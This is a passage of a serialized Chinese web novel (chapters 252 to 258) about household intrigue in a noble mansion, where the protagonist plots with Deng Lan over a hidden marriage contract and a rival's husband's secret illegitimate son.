“你可得想好,你进府要是只是想寻一个依靠,你便是我在府内唯二的姐妹。你要是想做他真正的妾室,那你可就就是众多后宅小妇中的一个了。” 第252章短痛之策 要是将来想留在钩翊侯府里做真正的妾室,夏明嫣不是那等喜欢磋磨人的,可要是想在她眼皮子底下翻出风浪来,那是万万不能的。 要是将来离了府了,或是在那府里寻了别的去处了,她们便是朋友、是姐妹,若是她真做了华靖离的妾室之一,那便有可能是敌人了。 邓澜想明白了这一点,反而笑了:“我自来是个爱清静的,不爱与那么多人挤在一处,等到事了之后,你就是不放我走,我也是要寻个由头去的,哪怕是出家呢?” “不过……华侯要纳我为妾,这总要有个由头吧?这由头想不好了,只怕要提前跟我姨母交恶了。” 夏明嫣对此早有打算,她只讳莫如深地笑了笑,然后问出一句话:“这就看澜姐姐怎么想了,要是想这事儿办得动静小些,自是可以的,只需说是我看中了你,趁你父亲醉酒,使了银子,哄了他将你给了我家。” “你先进了府,等何夫人知道了,就说你已经圆了房了,何夫人纵使有天大的理由,也不能把你带了出去,做出夺人妾室的事。你表兄之后还指望着我家侯爷安排他去北疆历练,更是不敢闹翻的。” “不过这样做,我和我家侯爷的名声定然受损,而你和你父亲大概也会背上忘恩负义的骂名。” 邓澜生母早逝,名义上她就是依靠着何夫人的照拂长大的,尤其是因为两家私底下的往来,从表面上看她们之间的姨甥关系还要更亲密些,甚至有些像母女了。 邓父招呼都没打一声,邓澜进了钩翊侯府也不曾要死要活地要出来,定是要受些非议的。 关键是,这样做,这件事便不算了了,将来何夫人随时都可以拿出来说事儿。 尤其是李玦,他甚至可以反咬一口,说邓澜原本是要许给他做贵妾的,是华靖离夺人妾室,拆散了他和他的表妹。 对外,可以利用世人的口齿骂华靖离不念兄弟之义、不仁不义,对内,可以逼华靖离对他有愧,换取更大的利益。 而且这种事儿的余波能持续的时间都比较救,十年、二十年之后都能拿出来说事儿,甚至要是邓澜有孩子的话,因为这件事,她的孩子都得被说闲话! 邓澜自是不想这样的:“我的名声倒是其次,可是华侯和你……实在不应该因为我们这样的人担上这样的干系,况且我这人做事不喜欢拖泥带水的,要是有一劳永逸的法子,最好。” “哪怕短期内伤害更大,可只要熬过去了,后面雨过天晴,日子反而好过。” 断断没有防贼前日的道理,事情没处理干净,留下了话柄,日日防,夜夜防,那种随时随地紧绷着一根弦的日子不好过,而且只要有一个疏忽,都可能被对方抓住了狠咬一口。 夏明嫣见她如此,便说出了她的另一个想法:“再有一个法子,那便是与其你变成对不起他们的那一个,先让世人看到是他们先对不起你的。” “澜姐姐与我交浅言深,有些话未曾与我言明,也在情理之中。只是我这里有一个猜想,不知道对与不对。” “栗姑娘、白姑娘曾经透露过,说是何夫人原就对夏家要将我这个在卢阳长大的野丫头许配给李世子很是不满,早就有了悔婚之意思。” “而且为了让夏家下不了台,特意隐瞒了这件事,打算等到婚期临近时再行公布。到时候前脚悔婚,后脚另娶,才是真正地打了夏家的脸了。” “何夫人当日私下给李世子定下的正室人选应该不是今天的何小娘,而是澜姐姐你吧?只是后来因缘际会,李世子最终与我那二妹妹有情人终成眷属了,倒是让你落了单……澜姐姐,我的可对?” “你竟然知道这些?” 邓澜这回是彻底愣住了,因为栗羡鱼、白玉凤根本不可能知道这么多,她们最多只知道有那么一个私下定了亲的人,但并不知道是她,后面那些完全就是夏明嫣自己分析出来的。 她定定地坐在那里,谨慎地打量着夏明嫣,不问他们父女跟端侯府暗地里真正的交集,夏明嫣不是不问,她是很可能知道这当中的秘密。 邓澜心里一凉,忽然就清明起来,也对,别人猜不到那些过往是因为现在活着的人里知道那件事的人已经不多了,可是华家不一样,华叶峰肯定知道一些,华靖离也定是打听过这当中的内情的。 她只是万万没想到,那么多年过去了,她跟她父亲已经蜷缩成了这偌大元京中的两粒尘埃,没想到还是让华靖离和夏明嫣注意到了。 夏明嫣举重若轻地笑道:“若是澜姐姐今日不来找我,其实我也是要去找你的。老实说,澜姐姐主动来找我,着实轻率了些,有些事儿大概你也没有想好,对吧?” “或许我们可以让事情简单一些,你该想想这世上的东西无外乎有两种结局,一种是永远消失,之后谁也得不到、用不了了,再有一种总归是要被人用掉的。” “你们帮忙藏着的那些东西,是落在端侯府、何夫人、李世子、楚家这些人手中好,还是落在我夫君和朝廷的手里好。我不瞒你,那东西若是真还有重新现世的一天,我夫君定将它们送还朝廷府库。” “那样的东西,不是一家一姓能够贪图的,我夫君和华家自来忠君体国,断断不会也不敢起那妄念。你可以想想该怎样决断。” “若是你愿意走出这一步,我可以替我夫君像你保证,到时候一定会想出一个妥帖的法子,你父亲作为当年“海难”为数不多的几个幸存者之一,非但无过,反而有功。” 这辈子李玦想再在南疆踩着华靖离的尸骨往上爬,再借着常王之乱讲那些宝藏、逆产转化为李家军起家的资本,门儿都没有! 这些个宝藏本就取之于民,正该用之于民,断断不能沦为那等小人中兴家业的资本。 第253章婚书烧了?假的 至于邓父当年做下的事,没错他确实有罪,可是他也是听命行事,更何况要让这些宝藏再次面世并且平稳交接到朝廷手中更为重要,恕了他的罪,他这把年纪还喝酒坏了身子,也干不了什么恶事了。 到时候华靖离想些法子,朝廷也能体谅邓父的苦衷,利弊权衡之下,谁又会跟这样一个小人物计较? 不过是赏赐金银、赐发田亩和宅邸就能解决的事儿,哪儿还犯得着揭开这层遮羞布呢?毕竟当年的事责任也不全在那几家身上,当今圣上和朝廷或多或少都有些责任。 要说夏明嫣也不是平白这样打算的,她盘算了很久,上一世华家之所以在华靖离死后迅速衰败,其中一个很大的原因就是太子谢维继位。 一朝天子一朝臣,谢维本就看不惯华靖离这等老军侯,甫一上位就要拿这些军侯府开刀,而一些本就跟华家和其他几家无关的事,为了清理先帝在世时的“积弊”也会顺势推到他们身上。 所以这里有一个关键就是打时间站,前朝之事前朝了,一定要让这些事在现在的圣上在世时就盖棺定论。 这笔藏在海底的宝藏不能再拖了,一定要想法子尽快面世,就算拿不出来,也得让当今圣上知道东西具体在哪儿,再让人下水查探了确认了确有其事才行。 不然再像上一世那般,谢维早已与孙允斌、李玦暗中结盟,他还会说端侯府的不好吗?他只会给老端侯当年坐下的事儿找个背锅、替罪的。 到时候他会说是华家私藏了那笔宝藏,李玦帮助朝廷将宝藏寻了回来,李玦才是功臣,而因为华家藏匿了逆产,华家的产业大概也都不干净,索性一并查抄了了事。 那既然家业都查抄殆尽了,华家和华家军上上下下这么多人,无产无业、人心不定,留着终将成为心腹大患,不如索性一并料理了才安心…… 邓澜只有按照她说的做了,彻底跟端侯府闹翻,才能保证邓澜这一世跟她站在同一立场上。 夏明嫣虽然把邓澜当亲姐妹看,就算这辈子邓澜这个人没有变,她也不能因为自己喜恶,就拿华靖离和整个华家冒险。 想想华靖离是怎样的人,再想想何夫人和李玦是怎样的人,邓澜很快就有了决断。 其实她父亲之所以一直没有完全吐口,纠结、顾虑地也是这一点,当年冒险挪用库银倒卖海货,最初的时候无外乎就是想多弄点银子,好分给李家军众兄弟,后来怎么就变成这样了? 要是真顺了何夫人和李玦的意,那整个大恒恐怕就要乱了,与其这样,他宁愿那些东西永远沉在海底拿不出来。 要是真能通过华家让这笔财富回到朝廷手中,其实才是最好的结局。 “是,你猜得不错,最初姨母的确定下了我,只是……明嫣妹妹,你要是觉得我原本能顶替了你的位子,我就有多高兴了,我也是不愿的,可我没有办法。” 邓澜叹着气道,“姨母让我做什么,我就做什么罢了。我心里没有表兄,她也不是我心仪的那种男子,真要嫁与他,也不过是尽一份与名分相符的责任罢了。” “不过,我们之间虽有过婚约,到底未曾公之于众,现如今又是你的二妹妹嫁给了表兄,说一千道一万,她也是夏氏女,当年你们两家的婚约,也并未指定究竟是哪一个女儿嫁过去。” “夏府和端侯府的婚事终究还是成了,那么,我这段胎死腹中的姻缘还有什么用?” “不知澜姐姐当日定下这婚事时可有婚书?可过了礼?” 夏明嫣对此只是猜测,因为那时候离婚期已经很近了,以她对何夫人的了解,就算邓家父女都受制于他们,这婚书和定理还是会有的,只是不够隆重罢了。 果然,邓澜点了头:“自然是有的,只是定理颇为寒微,只是一套头面首饰。这东西在表嫂嫁过来之前,我就将它们退回给了姨母。” “那婚书……我当着她的面烧掉了,只不过,我也留了个心眼儿,烧掉的那份是仿造的,真的一直都在我家。还有官府那边,也是留过底档的,只是想必姨母应该已经找人撤换过来了。” 聪明,把真的那份留下了。官府那边有没有,只要有了这份真的,也一样能让它“有”。 夏明嫣便道:“如此甚好,澜姐姐不妨把婚书交给我,后面的事就由我来安排。等到事情公布出去,就是他端侯府和李世子负了你,不是你负了他们。” “你的名声被他们坏了,受了欺压,只求一安身立命之所。恰巧在这件事里华侯帮过你,你便在我的首肯之下委身于他为妾,这便是全部的真相,你看如何?” “好。” 邓澜颔首,一旦说定了,她心里反而轻松了许多,尽管这样的方式不太光彩,可对于一个从小就受制于何夫人和端侯府的人来说,她太渴望自由了。 她再是一个良善、乖顺的人,她也很想看到当大火燃起的那一天,她那高高在上的姨母和表兄要如何应对。 邓澜将吕家的孩子藏于一莲观何处告与夏明嫣听,还画了一幅密室的图给她,这才换了马车回家去准备。 乔依心从外面进来,她在外面望风,里面的话她多少也听到了一些,此刻她惊讶得嘴巴张得能塞进一颗鸡蛋: “你们说的都是真的?那个李世子、冠玉公子李玦他曾经想要停妻再娶,还在外面有一个两岁多的儿子?真的假的?” “他不是跟夏明月青梅竹马、情比金坚吗?怎么如此的放浪……不过也是,你看他迎亲的时候,弄那个花儿啊朵儿啊的,招蜂引蝶,听说那天去观礼的人,好多都被蜂子给蛰了。” “还好你答应换亲了,要是嫁给她,你定是受不了的。这要是放我身上,我也受不了,要是不能和离,我宁愿出家当姑子去。” 都说这伪君子比真小人还可怕,李玦那张脸生的再好看,身为他的枕边人也是很惨的。 第254章心意转变 话虽如此说,可这婚事向来都是父母之命媒妁之言的,除非这女婿是父母的弟子或是跟家里哪个为人靠得住的亲戚走得特别近,否则还真难保证在成婚前就能看出对方是人是鬼。 就像李玦,就算夏家和端侯府没有那段过往的关系,除去未能袭爵这层影响,单就李玦这个人来说,夏庸怕是也会觉得是个不错的女婿人选的。 夏明嫣笑了笑:“算我命好吧,比起那等面如冠玉的偏偏公子,还是我们侯爷这样的更适合做人夫君。我的依心姐姐,所以你得记着,将来选夫婿可不能被容颜所惑。” “特别是那种看上去温文尔雅,一上来就对你好、什么都千依百顺的,一看就很可疑,必是有所图的,你可千万得小心。” 想到上辈子孙允斌做了乔依心的丈夫,夏明嫣一得空就少不得对乔依心耳提面命一番,非得说得乔依心以后见到孙允斌就警惕之心大作才行。 乔依心见夏明嫣又提起这话,忍了许久的好奇心终于爆发了,她忍不住问道: “明嫣,我总觉得你回到元京之后有些奇怪,你好像总是担心我看上了哪家的俊俏郎君似的,难不成在你心里,我就是一个这般看重色相的人?” 是啊,夏明嫣真相直接就这么说,可是真要这么说似乎又缺少了些佐证。 前世乔依心和孙允斌的婚事之所以成的那般快,根本没给她劝阻的机会,就是因为在那之前她压根就没发现乔依心是一个那般重视色相的人。 夏明嫣还是将话说得委婉却透彻了些:“若是只重色相,反而不是什么大事儿了,因为这世上好看的人何其多,以乔伯父今时今日的地位,哪里还不能给你寻个俊俏郎婿来。” “可你素来有一个毛病,就是心软,你啊,特别喜欢怜惜那种模样好,又看起来柔弱的。你仔细想一想,在我与你说那些话之前,如果你遇到一个容貌、气质如李世子这般的人,这人怀才不遇、受人欺凌,不得已来到元京科考、求官,你会如何待他?” “我……当然……” 乔依心想说她当然不会轻易相信这样的人,可是一想又不对了,她现在是这么想的,可以前还真不是。 都说男子喜欢救风尘,女子其实也一样,对这种遭遇了不平待遇的人会特别怜惜几分,甚至还会为他们打抱不平,利用自家的势力为他谋一个前程。 况且以乔家的情况来说,乔氏父女都不那等沉溺于富贵乡的人,他们有了今时今日的一切都已经满足了,便不会再在功名利禄上刻意地追求什么。 这样以来,选女婿、选夫君便少了功利上的考量,就是想找一个人品好、又心仪的,遇上一个这样的人物,甚至先就有了几分好感。 “你说得有道理,要不是你提醒我,我大概真会去帮助这样的人。从前我又与我继母不和,巴不得早点嫁出去,说不定真就跟这样一个人同病相怜了。” “可是……天下长得好看的人多了去了,哪个心肠好、人品可靠、有才学,哪个又是这般虚伪、道貌岸然,以我的道行,一时之间怎能看得透?” 夏明嫣重重地点头:“这说难也不难,你需这样想,他生得好看、柔弱,不是他的错,可是相由心生,那等好男儿,定是自强的,即便外面柔弱,也自有一种坚定的气质,行事做派也是言之有物的。” “凡是那等花言巧语的都不能信,再有你再想想,咱们家里的仆从里也有那等惯了受人欺负的,这些人都是被恶人欺负了吗?当然,府里或是亲族里出了恶人的情况也有,可大部分人不是这样的。” “可怜人必有可恨之处,你在同情他、对他动心之处,至少要先弄明白,他的可恨之处是什么。你要是看不透,问他也没用,你去问那些欺负他的人去,他们反而最是清楚。” 最了解这个人的反而是他的敌人,想法子去问了,要是觉得这些都是恶人,是专门欺压良善的,那就帮那人打回去,就当做是报仇雪恨了。 要是发现那些欺负他也不是全无道理的,而这个“道理”恰好压中了自己的底线,那这人看起来再可怜也是不能亲近的。 夏明嫣趁热打铁,把另一种更坏的可能说了,“还有一层心软也是要不得的,只是对这种人硬起心肠来更难。就好比有一种人从某个角度来说他是真的毫无错处的,可他就是处处受挫,过得凄惨、悲凉。” “那你便要想想了,面对这种事事不行,运道还不好的人,以你一人之力、一家之力真能托得起他吗?若是不能,还是早早放手吧,千万不要勉强。” 乔依心想了想,终于承认夏明嫣说的很对:“看来我那行侠仗义的梦终究又要少一处用武之地了,你提醒得对,虽说我父亲这今年混得不错,可我家在元京终究不是那等根基深厚的。” “我父亲的上官之所以给他做媒,让他娶了出身元京本地大族的我的继母,是很有道理的。我的婚事……虽说家里对我没有要求,可我至少不能拖累家里。” “可你是怎么想到提点我这些的?难不成……你知道有人在打我主意?” 夏明嫣就差把孙允斌的名字说出来了,可她真要这么说了,万一哪天这俩人还是遇上了,一对词,发现不是这么回事,就怕会引起乔依心的逆反心理。 她便推说道了命理上:“这不是嫁进华家之后,那会儿华侯身子不好,请了几个高人来府上看风水么?当时我便提你起了一卦,总之,你小心就是了。” “你既然已经知道这当中的利害了,也见识到李世子是个什么样的人了,这些天你就带人替我守着吕二姑娘就行了,其余的我去忙,你就等着看吧。” 对此乔依心倒是没有异议,她只是想到一件好玩儿的事:“我特别想看看夏明月知道她的夫君外面有一个连外室子都算不上的儿子的时候,她会是什么表情。” 第255章偷感很重 “你呀……真说到我心坎儿里去了,这种时候越乱越好,她既然还不知道,我总得让她知道。” 夏明嫣笑得像一只刚刚偷了油的小耗子,这种时候怎么能少了夏明月这盏不省油的灯呢,而且就是楚氏也该拖下水。 她忽然想起一件事,赏花宴上夏明月欺压闺中好友闹得沸沸扬扬,虽说楚氏定然已经借着何雨萍进门那件事敲打过夏明月了,可她当时可是特意使人给夏登云送过信的,怎么还没动静? 她是得回去一趟了,一个多月没见,怪想他们的…… 夏明嫣并没有直接回夏府,而是让秋果去了趟端侯府,不是光明正大地去的,而是偷偷摸摸地去的。 秋果这丫头行事向来大大咧咧的,有几分男孩子的感觉,这回知道了是怎么回事,刻意做出偷摸地感觉也做得明目张胆,生怕别人不知道她在偷摸地干什么事儿似的。 端侯府周围跟其他的公侯府邸一样,后头一片小房子、小院子住的都是跟侯府有些关联的管事儿的家眷,再或是未出五服却更加不得势的亲戚,说到底大家就算平时没什么来往的,也都能混个脸熟。 这些得势不得势的另说,都清楚元京各个高门出来行走的人都是些谁,以便说起来不至于什么都不知道,直接显露了自家落魄了或是地位不够高的事实。 因此秋果穿着这一身钩翊侯府一等侍女服饰出现在端侯府后巷之后,很快就引起了这些人的注意,尤其是有几个在府里当差得脸的婆子被叫了来掌眼,很快就认出了她是夏明嫣的侍女。 “姑娘,你……怎么走到这儿来了?是迷路了吗?老婆子带你到前头去,你可是咱们世子夫人的娘家人。” “是啊,怎么走这儿来了?你们家夫人今日没来?那也是不怕的,你到前面说一声,自然有人帮你通报。既然碰上了,老婆子我送你过去。” 秋果看看她们,大有一副“怎么就碰见了熟人”的窘迫,她支吾了一会儿,只憋出几个字: “两位嬷嬷心好,肯做着接引,要不就得我去后角门吧。我不是来找你们世子夫人的,是找巧兰姐姐有事儿,私事儿……” 这……样子,私事儿?这两个婆子听了完全没有半点不重视,能这样找上门来,定然是大事儿了,至少跟银子有关系。 这要真是这丫头的私事儿,多半是来找巧兰借银子的,这要是给家里人筹的汤药银子,说明她主子夏明嫣为主不慈,连身边人的家里都不照顾。 要是说秋果吃酒赌银子输了,那也刚好听些闲话,将来万一何夫人那边有用得着这丫头的地方,刚好有把柄可以拿捏。 这两个婆子不由分说就送了秋果过去,还帮忙到内宅把巧兰叫了出来。 巧兰看见过秋果直接愣住了:“秋果,真是你,你怎么来了?” 秋果看了眼一左一右站着的两个婆子,为难地朝着巧兰使眼色、摆头,示意她到旁边说话。 好不容易把巧兰叫到边儿上去了,秋果才把声音压到极低了在巧兰耳边说道:“……那孩子是你们家太夫人送过去的,两三岁大小,听说很像二姑爷。” “什么?不可能,这分明就是你们主子看不得我们夫人好才乱说的!”巧兰太过惊讶,一时间就大声起来。 笑话,出嫁之后,谁过得好,谁过得不好,不是已经很清楚了么?哪儿还用说。 秋果连着“嘘嘘”了几声,示意她别让婆子听去了:“巧兰姐姐,你小声点,这事儿可不只是我们夫人一个人知道,华家人现在好些都知道了。” “这事儿可压不住,华家二公子都牵扯进里面了,那个事儿你听说了吧……这件事儿肯定要说清楚的,那孩子就……” 秋果一脸的“就不用我说下去了吧”的表情,两边嘴角向下苦笑,然后一摊手。 华靖和就是因为跟吕大姑娘的事儿被抓进去的,这件事本就是夏明月在背后煽风点火主使的,巧兰自然清楚。 要栽赃华靖和,就得先说他跟吕大姑娘有私,还得说那孩子是他的。只有这样,他才有铤而走险、杀人海命的动机。 所以华家要想把华靖和洗脱出来,最直接的一个法子就是证明那孩子不是华靖和的,这样华靖和最多就是曾经跟吕大姑娘有过花前月下、露水姻缘的关系,根本犯不着为了湮灭罪证而害人性命。 华家的这个思路是对的,而他们一旦查到了那个孩子,定然会彻查清楚,这样到了公堂上才能成为铁证。 秋果可能会弄错,夏明嫣可能想利用这件事来混淆视听,让夏明月颜面扫地,可是华家不会,他们不会为了这姐妹俩的恩怨而毁了自家儿郎。 正因为如此,那孩子还真有可能就是李玦的,至少从华家人查到的证据来看这样的。 可是巧兰作为设计陷害的华靖和的参与者之一,她之前怎么也没想到问题会出在孩子上,而这个孩子还很可能是自家姑爷外面的孩子。 其实这事儿也是赶巧了,吕大姑娘是在夏明嫣和夏明月出嫁前就死了的,夏明月为了让华靖和在御青书院的终选上跌一个大跟头,以便借此抬高李玦,她便想着选一个华靖和的大错处,再狠狠地添油加醋一番,好借此把华靖和整得身败名裂,并因此牵连到华家。 华靖和这个人,其实没犯过什么大错,最多只能算是小错不断,夏明月正愁她该抓住哪一件大做文章的时候,她忽然就注意到华家竟然派了人暗中盯住吕家。 她是这么的才反推出华靖和多半跟这个吕大姑娘的死有些关系的,也这才注意到了那个孩子。 可是夏明月也不是傻子,说到底华靖和究竟跟吕大姑娘怎样过,根本就没有拿得出手的证据,有的只是一点道听途说而已。 她在问过自家舅父之后,做了一个在当时来看,还算英明的决定。 第256章通风报信 夏明月很快就做出了一个难得明智的决定,她并不打算真把华靖和怎么样,她要的是把华靖离和华家拖下水。 本来么,她跟华靖和也没仇,她要的是夏明嫣和华靖离好看,只要让华靖离沾上徇私枉法的罪名,将来等到李玦跟东宫打好关系之后,就可以以这个罪名突破,整死华靖离和华家。 从始到终,夏明月的重点都不在华靖和身上,因此她压根儿就没注意那个孩子怎样了,更不知道对方到底是圆是扁。 还有吕大姑娘究竟是自尽还是被人毒杀的,她也不尽清楚,她只知道自己使人去跟对方说了些话,说华靖和不久之后就要大婚了,新妇是个凶悍的高门贵女,定然容不下他们母子。 再就是还说了些让吕大姑娘以为华靖和一定是孩子的生父的话,渲染了一下华靖和这些年对他们母子不闻不问的可鄙,之后吕大姑娘就自尽了,至于中毒那些她也是元京府去锁拿华靖和的前一天才知道的。 也就是这回夏明月才意识到这背后还有人在试图操控一切,不过总体上的进展还跟她想得差不多,对方就算有别的意图,也一样是见不得华家人好的,目的总体跟她的差不多。 既然她没查出什么,对方也没碍着她的事儿,哪边先不管了,她只要保证她的目的能达到就行了。 如此这般,夏明月真正的重点在华靖离和华家身上,自然也就忽略了她整个谋划的引子华靖和。 巧兰往内院走的这一路上都在使劲儿地回忆那孩子后来是怎么安排,想来想去才想起来,吕大姑娘死后,吕家忙着查真相、办丧事,吕家二老又已仙逝,吕二姑娘一个人在家里忙不过来,就把那孩子送到郊外的亲戚家里去暂住了。 后来,也就是前些天才听元京府的人说,那孩子不见了,生不见人、死不见尸的,暂时怀疑是拐带,不排除是被真凶拐带的可能性。 巧兰见到夏明月,先忙着把屋里服侍的都支了出去。 最近李玦指望着夏明月和楚家在御青书院的终选上抬举她,又因为谋划着要通过华靖离去北疆抢功,这里面又牵扯着夏明月和夏明嫣的姐妹关系,这么一折腾,最近夏明月在府里的地位也高了些。 尤其是两天前,楚霆孝那边捎了信来,说是终选上不需要李玦进头三甲被选中,只需要他表现得中规中矩、为人有担当,他再劝上圣上几句,想来这袭爵的事儿就稳了。 这么以来,就连何夫人都少不得要对夏明月客气几分,连规矩都暂时不用她立了,更别说何姨母和李姑母了,更是对她退避三舍。 因此,夏明月这几日正神气着呢,府里服侍的人也多了,刚巧兰进来的时候,两个侍女在给夏明月捏肩,一个再给她捏脚,还有一个再旁边烹茶呢。 这些人退出去之后,夏明月打了个哈欠,左眼微睁,抬起眼皮儿看了巧兰一眼,微微有些不悦地道: “怎么都停了?巧兰,你现在也好大的阵仗,不知道的还以为你也给抬成贵妾了呢。” 巧兰虽然看见李玦这样貌比潘安的年轻男子也有脸红心跳的时候,可她还真没想过给李玦做妾,尤其以夏明月的为人,就算允了她服侍李玦,也绝不会给她抬妾的,定然只是一个通房。 之前夏明月试探巧兰的时候,巧兰就说过她不愿意,还是想将来能放良出去,尤其大恒的奴籍和贱籍是分开的,奴籍要是放了良,她日后也是正经人家的闺女、媳妇了,她自然是愿意的。 当时夏明月没说什么,看神情还是很高兴的,可过了之后又动不动就拿话来刺她,甚至还拿她跟何雨萍比,骂她没何雨萍能干。 呵,何家败落之前,人家何雨萍好歹是个大家闺秀,什么没学过,还都学得不错。 她巧兰一个丫头,能学什么?就算跟着夏明月学,也学不了什么,她最近经常在想,楚氏对夏明嫣和夏明月的教养就应该反过来。 说什么要把夏明嫣教得呆呆笨笨的,看似什么都学了,其实学了的什么都用不了,结果呢,夏明嫣一回元京就跟十八般陈旧武艺几日之内突然顿悟飞升了似的,人家一出招大开大合、手到擒来。 再看看夏明月,说是学个灵活多变、机灵讨喜,结果什么是灵活,不管她会多少,被脾气顶着跑哪儿是哪儿是挺灵活的,还机灵讨喜,要她说句心里话,这是泼皮、讨厌还差不多。 她身为夏明月的贴身丫鬟能好了?夏明月学东西的时候还爱藏私,经常不让她们进屋一起听讲,她能学到什么? 夏明月要是个半桶水,她就只是一个桶底,指望她这桶底里的水沐浴,呵,想得美,光是洗脚怕是都不够。 就算是何家败落之后,这何大舅一家也是个务实的,眼看着女儿当不成高门贵女了,就安排这女儿学经商理事了,从前还让何雨萍女扮男装,跟着家里人去巡视元京里外的铺子。 她巧兰呢,这辈子几乎都跟在夏明月身边,能见识到的也就是夏府里的一亩三分地,可关键是,那里面真没多少好见识的。 夏庸的几房妾室都是个应景的,早被楚氏收拾得服服帖帖的了,朱老太太身子一直不好,知道自己儿子攀了高枝、高娶了楚氏,从来不跟楚氏争执掌中馈的那些事儿,府里最大的隐患夏明嫣也一早被打发到卢阳去了…… 别说外面的事儿了,就是内宅的这点儿事儿,巧兰都不觉得她能有什么见识……现在夏明月居然还拿她跟何雨萍比,比不过了还骂她、打她,分明就是在拿她出气。 可是眼下事出紧急,她只能硬着头皮去跟夏明月回话,她不敢直接说李玦在外头的女人很可能给她生了个两岁多大的儿子,她只先试探着道: “夫人,是外面出了一点事,其实要是看得开的话,倒也不算什么大事儿,左右都是那等路边长的野草野花。” 第257章究竟谁有了外室子? 野花野草?这是谁在外头有女人了?还是谁在外头有了男人了?可是……是谁呢? 夏明月是怎么想都没想到李玦头上,她一拍桌子就道: “大胆,主君、主母的事儿你也敢妄议?这种事儿,你私下来回我就是了,刚这么多人呢,你还把人支出去,明显有话要说,多大动静。” 巧兰愣了一下,以为这主君、主母说的就是李玦和夏明月自己呢,她当下恨不得念几句佛,心说这回好了,没想到夏明月对这一天早就准备,并不像想象中的反应那么大。 巧兰没忍住,一个没忍住,当着夏明月的面儿就长舒了一口气:“夫人能想通最好,这种事儿也是迟早的。就不说别人了,你就想想老爷,府里也好几房妾室呢,庶子从前也不是没有……” 夏庸原先不仅有楚氏生的嫡子也就是夏明月的同胞弟弟夏登云,原先还有一个庶子的,只是呆呆笨笨的,从小还爱跟楚氏对着干,后来被夏庸责罚了一顿板子,因为医治不及时,后来竟然死了。走的时候,还不到八岁。 这一路回来,其实巧兰心里已经有了盘算,元京府那边升堂在即,华家要是拿准了要给华靖和脱罪,八成已经掌握了那孩子其实是李玦的证据了。 这种时候,如果元京府没了法子,只能反咬一口,质问是不是李玦害了吕大姑娘又去害孩子,是不是打算借此湮灭证据的话,他们该怎么办? 说到底,谁也不是谁肚子里的蛔虫,谁究竟是怎么想的,别人也不知道,这事儿放在李玦身上,除了证明孩子是他的之外,也证明不了他就是凶手。 因为李玦根本从头到尾都不知道是夏明月派人找上了吕大姑娘这件事,而夏明月最多就是派人去说了几句过分的话,逼了逼吕大姑娘,下毒的人也并不是她。 如此算起来,这件事落在李玦身上也跟落在华靖离头上差不多,都是推论多于实证的,最后受损最大的还是名声。 这样的话,还是先把名声和性命保住才好,重点应该是怎样才能把李玦从杀人害命的旋窝里洗脱出来,重点不应该放在孩子身上。 应该先把孩子收回门中,平息众人议论,让世人觉得夏明月不是善妒之辈,能容得下这孩子,绝不至于去逼着李玦处理掉吕大姑娘母子,而李玦也没有理由这么做,一切都是凑巧了。 总之就是先把嫌疑洗脱了要紧,这孩子将来如何处置,等他长大还有十几年呢。容不下,就处理掉,或是远远地打发了,要是乖巧、听话,容得下那就养成一个撑不起家业的废物就是了。 巧兰自以为夏明月是这样想的,又忍不住多恭维了几句,“夫人想得开就好,想想不过是容下一个孩子,母以子贵那是孩子长大有出息之后,之前的话,还是得子以母贵。” “夫人先稳住了,一会儿先见个人,你也好回去跟老爷、夫人商量一下,也跟华侯夫人商量一下……” 夏明月刚才还有点困意,现在被巧兰闹糊涂了,她不耐烦地拿起桌上温热的湿布巾擦了擦额角、眼角,瞪着巧兰道: “你今天这是发生什么疯?到底是谁有孩子了?我父亲在外面有外室子了?有就有了吧,登云都多大了,早就立住了,怕一个外室子作甚?” “何况就算我父亲在外面有了孩子了,也不必带回府里养,就算要带回去,我如今已经出嫁了,不在府里住了,你来问我容不容得下干吗?要问你也该去问母亲,不过你不用问了,她大概也是不会在意的。” “再有,我父亲要是有了外室子,我去跟母亲商议也就罢了,你还让我一个做女儿的去跟父亲商量,这不是打他的脸么?我还能有好果子吃?还要跟夏明嫣商量,虽然那也是她父亲,可商量得着吗?” 夏明嫣自小不在家里,夏庸纳妾、生庶子的时候,夏明嫣连那些事儿都不知道,现如今都出嫁了,就更商量不着了。 这怎么就跑到夏庸头上了? “这……不是,不是老爷……”巧兰整个人都懵了,只是她完全不知道该怎么说了,一时间竟回不出个完整的话。 夏明月自顾自地道:“不是父亲?那是谁?是我婆母?我婆母老树开花,外头有人了?可是也不对啊,她都这把年纪了,也生不出孩子了。难不成是那男人前头的孩子……” 她像是着急看热闹似的,整张脸都亮了起来,那神情着实可以用神采飞扬来形容, “不对,那就不叫外室子了,难不成是她年轻时候偷着生下的,如今多大了?定是没有阿玦哥哥大的,但怎么也有十几岁了吧?” “要是这样也好,她不总是唠叨说府里太过冷情,应该尽早开枝散叶么?她自己都散了叶了,还给阿玦哥哥纳妾干吗?这要是她偷生的孩子,自然不是姓李的,可带回来,让她享享天伦之乐也挺好的。” “就留在府里做个管谁让的也成,让他们母子常常相见也好,也显得我这个做儿媳的、阿玦哥哥这个做儿子的孝顺,不是么?” 要是何夫人真有了个私生子,即便宫里不追究她,她也不敢真的带回来,这毕竟是李家的地方。 而且何夫人守寡这么多年都没有改嫁,一心抚养李玦长大成人,虽说端侯府整体上受了老端侯的连累,可是何夫人的守节之志在元京是无人质疑的,她对亡夫老端侯的情意也天地可鉴。 要是她在外面还有一个孩子,这分明就是要把她从前打造出来的形象放在泥里踩啊。 夏明月自个儿乐呵着,一转头却发现巧兰呆愣地站在一边,大张的嘴巴直能塞进一颗鹅蛋,她又瞪了巧兰一眼,不屑地道: “瞧你那副没出息的样儿,难不成不是我婆母?也不是我父亲,难不成还是我母亲不成?你……你不会告诉我,姓陆的要回来了吧!不对啊,没听说圣上大赦天下啊……” 第258章笑话竟是自己 夏明月猜疑了一圈儿,就是没说到他们夫妻头上,巧兰已经彻底愣住了,她喃喃地道:“陆家?什么陆家?夫人,你是说家里的夫人……这可不能乱说。” “你母亲她一向贞静自守,怎么会有这种事?奴婢说句不该说的,别说没有这样的事,就算有,这种事也只有压着、瞒着的。” “要是让外面的人知道了,夫人你和家里少爷的名誉都会受到影响,就是世子姑爷脸上也无光,说不定还会影响袭爵。” 夏明月一想,也是,不管是这里面的哪一个,面子上都不好看。 说到底她公爹从前到底干了什么大事儿了,她也不是太清楚,只知道大概是跟朝廷的钱粮有关,可历朝历代,那么多人和事儿,有多少都出在这事儿上了,还真能每个人都给办了? 老端侯当年出事儿之后不久就过世了,也算是死于惊怒、愧疚了,也算是偿了债了,还能怎样呢? 